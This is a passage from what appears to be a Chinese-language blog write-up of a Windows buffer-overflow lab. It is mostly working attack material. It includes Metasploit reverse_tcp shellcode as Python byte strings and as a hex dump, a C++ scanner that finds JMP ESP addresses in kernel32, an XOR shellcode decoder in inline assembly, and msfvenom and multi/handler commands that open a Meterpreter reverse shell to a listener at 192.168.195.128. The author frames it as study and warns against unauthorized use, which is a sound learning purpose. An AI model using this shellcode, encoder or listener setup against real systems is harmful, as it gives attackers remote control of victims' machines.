\x0F\xDF\xE0\xFF\xD5\x97\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0A\xFF\x4E\x08\x75\xEC\xE8\x67\x00\x00\x00\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7E\x36\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7D\x28\x58\x68\x00\x40\x00\x00\x6A\x00\x50\x68\x0B\x2F\x0F\x30\xFF\xD5\x57\x68\x75\x6E\x4D\x61\xFF\xD5\x5E\x5E\xFF\x0C\x24\x0F\x85\x70\xFF\xFF\xFF\xE9\x9B\xFF\xFF\xFF\x01\xC3\x29\xC6\x75\xC1\xC3\xBB\xF0\xB5\xA2\x56\x6A\x00\x53\xFF\xD5'
shellcode = b'\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x0F\xB7\x4A\x26\x31\xFF\x8B\x72\x28\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x8B\x52\x10\x57\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4C\x01\xD0\x8B\x58\x20\x50\x01\xD3\x8B\x48\x18\x85\xC9\x74\x3C\x49\x8B\x34\x8B\x31\xFF\x01\xD6\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\x89\xE8\xFF\xD0\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x0A\x68\xC0\xA8\xC3\x80\x68\x02\x00\x23\x04\x89\xE6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0A\xFF\x4E\x08\x75\xEC\xE8\x67\x00\x00\x00\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7E\x36\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8\x00\x7D\x28\x58\x68\x00\x40\x00\x00\x6A\x00\x50\x68\x0B\x2F\x0F\x30\xFF\xD5\x57\x68\x75\x6E\x4D\x61\xFF\xD5\x5E\x5E\xFF\x0C\x24\x0F\x85\x70\xFF\xFF\xFF\xE9\x9B\xFF\xFF\xFF\x01\xC3\x29\xC6\x75\xC1\xC3\xBB\xF0\xB5\xA2\x56\x6A\x00\x53\xFF\xD5'

encodeShellcode(shellcode)


# 调用
if __name__ == '__main__':

# 弹出一个计算器 使用未编码 shellcode
# noEncodeCalc()

# # 弹出一个计算器 使用简单编码的 shellcode
# encodeCalc()

# 使用 msf 的 payload
useMSF()

find_JMP_ESP.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include<windows.h>
#include<iostream>
#include<cstdio>
#include<tchar.h>
using namespace std;
int main()
{
int nRetCode=0;
bool we_load_it=false;
HINSTANCE h;
TCHAR dllname[]=_T("kernel32");
h=GetModuleHandle(dllname);

if(h==NULL){
h=LoadLibrary(dllname);
if(h==NULL){
cout<<"ERROR LOADING DLL:"<<dllname<<endl;
return 1;
}
we_load_it=true;
}

BYTE* ptr=(BYTE*)h;
bool done=false;

for(int y=0;!done;y++){
try{
if(ptr[y]==0xFF&&ptr[y+1]==0xE4){
int pos=(int)ptr+y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...){
cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
done=true;
}
}

if(we_load_it)
FreeLibrary(h);

return nRetCode;
}

decode_asm.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <windows.h>
int main(int argc, char** argv)
{
__asm{
jmp decode_end
decode_start:
pop edx
dec edx
xor ecx,ecx
mov cx,0x300
decode_loop:
xor byte ptr [edx+ecx], 0x1
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
}
}

msf command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 生成 shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.195.128 lport=8964 -k > apu4.bin

# 开启监听
# 打开 msf
msfconsole
# 使用 handler
use exploit/multi/handler
# 设置类型
set payload windows/meterpreter/reverse_tcp
# 设置监听ip
set lhost 192.168.195.128
# 设置监听端口
set lport 8964
# 开启
exploit

randstr.py

1
2
3
4
5
6
7
8
9
import random
import string

seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
sa = []
for i in range(700):
sa.append(random.choice(seed))
salt = ''.join(sa)
print(salt)

apu4.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fce8 8f00 0000 6089 e531 d264 8b52 308b
520c 8b52 1431 ff0f b74a 268b 7228 31c0
ac3c 617c 022c 20c1 cf0d 01c7 4975 ef52
8b52 108b 423c 01d0 8b40 7857 85c0 744c
01d0 8b58 208b 4818 5001 d385 c974 3c31
ff49 8b34 8b01 d631 c0ac c1cf 0d01 c738
e075 f403 7df8 3b7d 2475 e058 8b58 2401
d366 8b0c 4b8b 581c 01d3 8b04 8b01 d089
4424 245b 5b61 595a 51ff e058 5f5a 8b12
e980 ffff ff5d 6833 3200 0068 7773 325f
5468 4c77 2607 89e8 ffd0 b890 0100 0029
c454 5068 2980 6b00 ffd5 6a0a 68c0 a8c3
8068 0200 2304 89e6 5050 5050 4050 4050
68ea 0fdf e0ff d597 6a10 5657 6899 a574
61ff d585 c074 0aff 4e08 75ec e867 0000
006a 006a 0456 5768 02d9 c85f ffd5 83f8
007e 368b 366a 4068 0010 0000 566a 0068
58a4 53e5 ffd5 9353 6a00 5653 5768 02d9
c85f ffd5 83f8 007d 2858 6800 4000 006a
0050 680b 2f0f 30ff d557 6875 6e4d 61ff
d55e 5eff 0c24 0f85 70ff ffff e99b ffff
ff01 c329 c675 c1c3 bbf0 b5a2 566a 0053
ffd5

0x05 实验总结

本次实验想尽量从最底层出发实现这个攻击,因此写的篇幅较大。本来反弹的shellcode都想手动编译实现,但有些太麻烦最终就放弃了。本次实验本来是入门级的,基于现成的工具 msf 可以一键搞定,从找到溢出点到生成shellcode到编码到拿到shell一键搞定。同时也可以结合 pwntools 两键搞定。但还是本着学习过程的思想,写了这篇博客。

最后,请勿在未授权的情况下,进行任何的尝试。

谨以此,备忘。

参考链接

jmp esp: https://blog.csdn.net/qq_41683305/article/details/104303554

计算器 shellcode: https://www.daimajiaoliu.com/daima/4ed57f7c5100407

msf:https://www.cnblogs.com/clever-universe/p/8691365.html